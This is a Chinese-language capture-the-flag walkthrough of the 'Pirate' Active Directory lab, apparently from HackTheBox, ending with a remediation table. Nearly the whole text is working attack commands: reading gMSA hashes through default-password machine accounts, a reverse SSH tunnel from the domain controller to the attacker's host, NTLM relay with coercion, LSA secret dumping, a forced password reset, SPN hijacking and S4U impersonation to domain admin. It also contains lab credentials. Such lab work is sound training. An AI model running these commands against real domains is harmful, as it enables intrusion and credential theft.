执行摘要
Pirate 是 Active Directory 域环境。入口为低权限域用户 pentest。通过 Pre-Windows 2000 计算机账户默认密码读取 gMSA,WinRM 立足 DC01 后进入仅内网的 WEB01。WEB01 的 LSA 泄露 a.white 明文,该用户可强制重置 a.white_adm。a.white_adm 拥有到 HTTP/WEB01 的约束委派(协议转换)以及 IT 组的 WriteSPN。将 HTTP/WEB01.pirate.htb 劫持到 DC01$ 后,S4U2Proxy 票可改写成 CIFS/DC01,最终拿到域管。
阶段一:信息收集
1.1 端口与域
echo '10.129.244.95 pirate.htb DC01.pirate.htb' | sudo tee -a /etc/hosts
echo '192.168.100.2 WEB01.pirate.htb WEB01' | sudo tee -a /etc/hosts
nxc smb 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --shares
nxc ldap 10.129.244.95 -u pentest -p 'p3nt3st2025!&' --users --computers --groups
nxc ldap 10.129.244.95 -u pentest -p 'p3nt3st2025!&' -M maq
impacket-findDelegation 'pirate.htb/pentest:p3nt3st2025!&' -dc-ip 10.129.244.95
结果:
| 主机 | 角色 | 要点 |
|---|---|---|
| DC01.pirate.htb | 域控 · Server 2019 | 外网 + 192.168.100.1(Hyper-V) |
| WEB01.pirate.htb | 成员服务器 | 仅内网 192.168.100.2,SMB 未签名 |
| MS01$ / EXCH01$ | 计算机账户 | Pre2k 默认密码,主机未上线 |
关键缺陷:
- LDAP signing = None,channel binding = Never → 可 NTLM Relay 到 LDAP
- DC01 SMB signing = True;WEB01 = False
- MachineAccountQuota = 10
a.white对a.white_adm有 ForceChangePassworda.white_adm∈ IT(WriteSPN),约束委派 + 协议转换 →HTTP/WEB01
Kerberos 前必须对时,偏差大于 5 分钟会 KRB_AP_ERR_SKEW:
sudo timedatectl set-ntp false
sudo ntpdate -u 10.129.244.95
阶段二:Pre2k → gMSA → WinRM
2.1 Pre-Windows 2000 计算机账户
# 密码对会返回 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT,不是失败
nxc smb 10.129.244.95 -u 'MS01$' -p 'ms01'
impacket-getTGT 'pirate.htb/MS01$:ms01' -dc-ip 10.129.244.95
nxc ldap DC01.pirate.htb -u 'MS01$' -p 'ms01' -k --gmsa
gMSA NTLM 会轮换,每次重读。gMSA_ADFS_prod$ 可 WinRM 到 DC01 和 WEB01。
nxc winrm 10.129.244.95 -u 'gMSA_ADFS_prod$' -H '<hash>' -X 'ipconfig /all'
必须用 -X(PowerShell)。-x 走 cmd,gMSA 没有 Invoke 权限。
2.2 内网隧道
WEB01 只在 192.168.100.2。DC01 出站拦 22,放行 8001/8002/8080。用 DC01 自带 OpenSSH 反向转发,避免上传大体积 exe:
# Kali 监听 8002
ssh-keygen -t ed25519 -f /tmp/dc01_tunnel -N ''
/usr/sbin/sshd -p 8002 -o 'ListenAddress=0.0.0.0'
# WinRM 会话结束会杀掉子进程,ssh -N 必须挂在长超时会话里
nxc winrm 10.129.244.95 -u 'gMSA_ADFS_prod$' -H '<hash>' --timeout 86400 -X \
'$p=Join-Path $env:TEMP "id_ed25519"; C:\Windows\System32\OpenSSH\ssh.exe -i $p -N -o StrictHostKeyChecking=no -o BatchMode=yes -p 8002 -R 10445:192.168.100.2:445 -R 15985:192.168.100.2:5985 geek@<KALI>'
之后 Kali 侧 nxc smb 127.0.0.1 --port 10445(--port 才是端口,-p 是密码)。
阶段三:WEB01 管理员
3.1 NTLM Relay → WEB01$
WEB01 经 DC01 NAT 能回连 Kali 的 445/8080,非标端口(如 8445)不通。
# ntlmrelayx 在 stdin EOF 时会立刻退出
tail -f /dev/null | python3 -u $(which ntlmrelayx.py || echo /usr/share/doc/python3-impacket/examples/ntlmrelayx.py) \
-t ldap://DC01.pirate.htb -i --delegate-access -smb2support --remove-mic
nxc smb 127.0.0.1 --port 10445 -u 'gMSA_ADFS_prod$' -H '<hash>' \
-M coerce_plus -o LISTENER=<KALI_VPN_IP>
LDAP 交互壳:
set_shadow_creds WEB01$
# 或 set_rbcd WEB01$ ATTACK02$
certipy-ad auth -pfx web01.pfx -u 'WEB01$' -domain PIRATE.HTB -dc-ip 10.129.244.95
nxc smb WEB01.pirate.htb -u 'WEB01$' -H <hash> --delegate Administrator --lsa --sam
LSA 泄露 PIRATE\a.white:E2nvAOKSz5Xz2MJu。user.txt 在 WEB01 管理员桌面(f595****1d4e)。
3.2 直接复用 a.white
nxc ldap 10.129.244.95 -u a.white -p 'E2nvAOKSz5Xz2MJu'
nxc smb 10.129.244.95 -u a.white -p 'E2nvAOKSz5Xz2MJu'
阶段四:SPN 劫持 → 域管
4.1 ForceChangePassword
bloodyAD --host DC01.pirate.htb -d pirate.htb \
-u a.white -p 'E2nvAOKSz5Xz2MJu' -i 10.129.244.95 \
set password a.white_adm 'PirateAdm2026!'
4.2 迁移 HTTP SPN
SPN 在域内唯一,必须先从 WEB01$ 删除再加到 DC01$:
bloodyAD --host DC01.pirate.htb -d pirate.htb \
-u a.white_adm -p 'PirateAdm2026!' -i 10.129.244.95 \
msldap delspn "CN=WEB01,CN=Computers,DC=pirate,DC=htb" "HTTP/WEB01.pirate.htb"
bloodyAD --host DC01.pirate.htb -d pirate.htb \
-u a.white_adm -p 'PirateAdm2026!' -i 10.129.244.95 \
msldap addspn "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb" "HTTP/WEB01.pirate.htb"
此时 KDC 认为 HTTP/WEB01.pirate.htb 属于 DC01$。
4.3 S4U + altservice
-spn 仍是委派目标,改写的是 -altservice:
impacket-getST 'PIRATE.HTB/a.white_adm:PirateAdm2026!' \
-spn HTTP/WEB01.pirate.htb \
-impersonate Administrator \
-dc-ip 10.129.244.95 \
-altservice CIFS/DC01.pirate.htb
export KRB5CCNAME=./Administrator@[email protected]
nxc smb DC01.pirate.htb -k --use-kcache -x 'type C:\Users\Administrator\Desktop\root.txt'
root.txt:80dd****0ad6。收尾把 HTTP SPN 还原回 WEB01$。
注意事项
| 场景 | 做法 |
|---|---|
Kerberos KRB_AP_ERR_SKEW |
ntpdate -u DC,关本机 NTP |
STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT |
密码对,改用 Kerberos / LDAP -k |
nxc -p vs --port |
-p 是密码;改端口必须 --port |
| gMSA WinRM | 只用 -X(PowerShell) |
| 目标不出 22 | sshd 改 8002 |
| WinRM 保活隧道 | --timeout 86400 前台挂 ssh -N |
| ntlmrelayx 秒退 | tail -f /dev/null | ntlmrelayx ... |
| WEB01 回连 | Kali VPN 的 445/8080,不要用 8445 |
| SPN 劫持 | 先 del 再 add |
密码中的 !& |
全程单引号 |
| gMSA 哈希 | 每次重读 --gmsa |
缺陷与修复建议
| 问题 | 建议 |
|---|---|
| Pre-Windows 2000 计算机默认密码 | 禁用兼容访问;轮换未使用的机器账户密码 |
| LDAP 未强制签名 / 无 channel binding | 强制 LDAP signing + channel binding |
| WEB01 SMB 未签名 | 全域开启 SMB signing |
| gMSA 可读面过大 | 收敛 PrincipalsAllowedToReadPassword 与 Remote Management Users |
| 普通用户可重置高权限口令 | 去掉 ForceChangePassword |
| IT 组对计算机 WriteSPN | 按最小权限收回 |
| 约束委派 + 协议转换到 HTTP | 收紧委派目标,避免可劫持 SPN |
| LSA 存储域用户明文 | 禁止把域密码写入 LSA Secrets |